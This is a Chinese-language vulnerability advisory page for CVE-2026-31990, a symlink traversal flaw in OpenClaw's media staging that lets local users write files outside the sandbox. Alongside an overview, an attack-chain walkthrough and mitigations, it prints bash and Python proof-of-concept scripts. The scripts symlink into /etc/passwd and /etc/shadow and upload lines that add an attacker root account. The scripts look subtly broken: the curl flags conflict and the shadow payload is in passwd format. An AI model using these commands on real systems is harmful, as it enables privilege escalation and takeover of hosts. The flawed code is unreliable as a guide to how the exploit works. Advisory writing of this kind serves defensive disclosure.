IPBUF安全漏洞报告
English
CVE-2026-31990 CVSS 6.1 中危

CVE-2026-31990 OpenClaw stageSandboxMedia符号链接遍历漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-31990
漏洞类型
符号链接遍历
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

CVE-2026-31990符号链接遍历路径遍历OpenClaw沙箱绕过本地权限提升文件覆盖NVD分类:CWE-22NVD分类:CWE-59

漏洞概述

CVE-2026-31990是OpenClaw软件中的一个中等严重性安全漏洞。该漏洞存在于stageSandboxMedia函数中,由于程序在媒体文件暂存过程中未能正确验证目标符号链接(symlinks),导致攻击者可以利用符号链接在sandbox工作区之外写入任意文件。此漏洞影响OpenClaw 2026.3.2之前的所有版本,CVSS评分为6.1(中危)。攻击者需要具备低权限本地访问能力,无需用户交互即可利用此漏洞。成功利用可能导致系统完整性受损,攻击者可覆盖sandbox边界外的关键系统文件,从而实现权限提升或远程代码执行。VulnCheck安全研究员发现并报告了此漏洞,建议用户尽快升级到修复版本。

技术细节

该漏洞的根本原因在于OpenClaw的stageSandboxMedia函数在处理媒体文件时缺乏对目标符号链接的安全验证。当程序将文件从media/inbound目录暂存到sandbox工作区时,如果遇到符号链接,它会直接跟随该链接,而不会检查链接目标是否位于允许的工作目录范围内。攻击者可以通过在media/inbound目录中创建指向系统关键位置(如/etc/cron.d、/etc/sudoers等)的符号链接来实现任意文件覆盖。攻击流程如下:首先在media/inbound目录中放置一个符号链接,指向sandbox外的目标文件;然后上传任意文件名(与符号链接名称相同)的文件内容;程序处理时,符号链接被解析,内容被写入链接指向的位置。这种攻击方式绕过了sandbox的隔离机制,可能导致主机系统被完全攻陷。由于CVSS向量的完整性影响标记为高(H),攻击者可以成功修改系统中受保护的文件。

攻击链分析

STEP 1
步骤1:环境准备
攻击者获得OpenClaw服务器的低权限本地访问权限,识别出media/inbound目录路径
STEP 2
步骤2:创建符号链接
在media/inbound目录中创建一个符号链接,指向sandbox工作区外的目标文件,如/etc/passwd或/etc/crontab
STEP 3
步骤3:文件上传
通过OpenClaw的媒体上传接口上传一个文件,文件名与创建的符号链接名称相同
STEP 4
步骤4:触发漏洞
stageSandboxMedia函数处理上传的文件时,解析符号链接并将文件内容写入链接指向的位置
STEP 5
步骤5:实现攻击目标
通过覆盖系统关键文件(如passwd、crontab、sudoers)实现权限提升、持久化控制或远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-31990 PoC - OpenClaw Symlink Traversal # Target: OpenClaw < 2026.3.2 TARGET_HOST="target-vulnerable-server" MEDIA_DIR="/opt/openclaw/media/inbound" # Create a symlink in the media inbound directory # This symlink points to a file outside the sandbox ln -sf /etc/passwd ${MEDIA_DIR}/malicious_link # Upload a file with content that will be written through the symlink # The file name must match the symlink name curl -X POST -d "attacker:0:0:::/bin/bash:/bin/sh" \ "http://${TARGET_HOST}/media/upload" \ -F "filename=malicious_link" echo "PoC executed. Check if /etc/passwd was modified." # Python PoC alternative '''python import requests import os target = "http://vulnerable-server:8080" media_dir = "/opt/openclaw/media/inbound" # Step 1: Create symlink pointing to system file symlink_path = os.path.join(media_dir, "config_override") os.symlink("/etc/shadow", symlink_path) # Step 2: Upload malicious content files = { 'file': ('config_override', b'root:attacker_hash:0:0:root:/root:/bin/bash\n') } response = requests.post(f"{target}/api/media/stage", files=files) print(f"Status: {response.status_code}") print("If successful, /etc/shadow has been modified") '''

影响范围

OpenClaw < 2026.3.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)严格限制media/inbound目录的访问权限,确保只有授权用户能上传文件;2)配置系统级的符号链接安全策略,限制应用程序跟随外部符号链接;3)部署文件完整性监控(FIM)工具,实时监控/etc、/var等关键目录的文件变更;4)使用容器化或虚拟化技术隔离OpenClaw应用,限制攻击影响范围;5)定期审计日志,检测异常的媒体上传行为和系统文件修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表